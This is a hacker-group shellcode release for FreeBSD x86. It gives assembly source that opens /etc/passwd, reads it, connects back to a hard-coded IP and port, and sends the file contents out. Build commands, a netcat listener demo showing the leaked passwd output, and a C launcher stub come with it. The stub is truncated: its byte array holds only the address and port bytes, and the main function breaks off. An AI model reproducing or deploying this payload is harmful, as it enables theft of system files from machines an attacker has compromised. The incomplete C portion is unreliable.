***(C)oDed bY suN8Hclf***
                       DaRk-CodeRs Group production, kid
           [FreeBSD x86 connect back.send.exit /etc/passwd 112 bytes]

This is the FreeBSD version of 0in's shellcode (http://milw0rm.com/shellcode/6263)
(really learnt a lot while coding this one ;])

nasm -f elf shellcode.asm
ld -e _start -o shellcode shellcode.o
How it works:
1st terminal:  $nc -l 8000
2nd terminal:  $./shellcode
2nd terminal:
# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
section .text
global _start

xor eax, eax
push byte 0x64
push word 0x7773
push 0x7361702f
push 0x6374652f   ;file to open (default:/etc/passwd)
mov ebx, esp
push eax
push ebx
mov al, 5         ;use: 'cat /usr/src/sys/kern/syscalls.master | grep *' to get the right numbers
push eax
int 0x80          ;open()

mov ebx, eax      ;file descriptor to ebx
xor eax, eax      ;we should clean eax each time we return from int 0x80 
xor ecx, ecx

mov cx, 3333      ;3333 bytes is probably enough
push ecx
mov esi, esp      ;put our data on the stack
push esi
push ebx
mov al, 3
push eax
int 0x80          ;read()

mov ebp, eax
xor eax, eax
mov al, 6
push ebx
push eax
int 0x80          ;close()

xor eax, eax
push eax
push byte 0x01
push byte 0x02
mov al, 97
push eax
int 0x80          ;socket()

mov edx, eax      ;socket descriptor to edx

push 0x2101a8c0   ;, change IT!!!
push 0x401f02AA   ;port 8000
mov eax, esp

push byte 0x10
push eax
push edx
xor eax, eax
mov al, 98
push eax
int 0x80         ;connect()

xor eax, eax
push ebp
push esi         ;our buffer with data
push edx
mov al, 4
push eax
int 0x80         ;write()

xor eax, eax
inc eax
push eax
push eax
int 0x80         ;exit()

C Code:
#include <stdio.h>

char shellcode[]=
"\x68\xc0\xa8\x01\x21"   //<- host address
"\x68\xaa\x02\x1f\x40"  // <- port number

int main(int argc, char **argv) {
	int (*func)();
	func=(int (*)())shellcode;

Greetz to: 0in, cOndemned, e.wiZz!, str0ke, doctor
Visit us : www.dark-coders.pl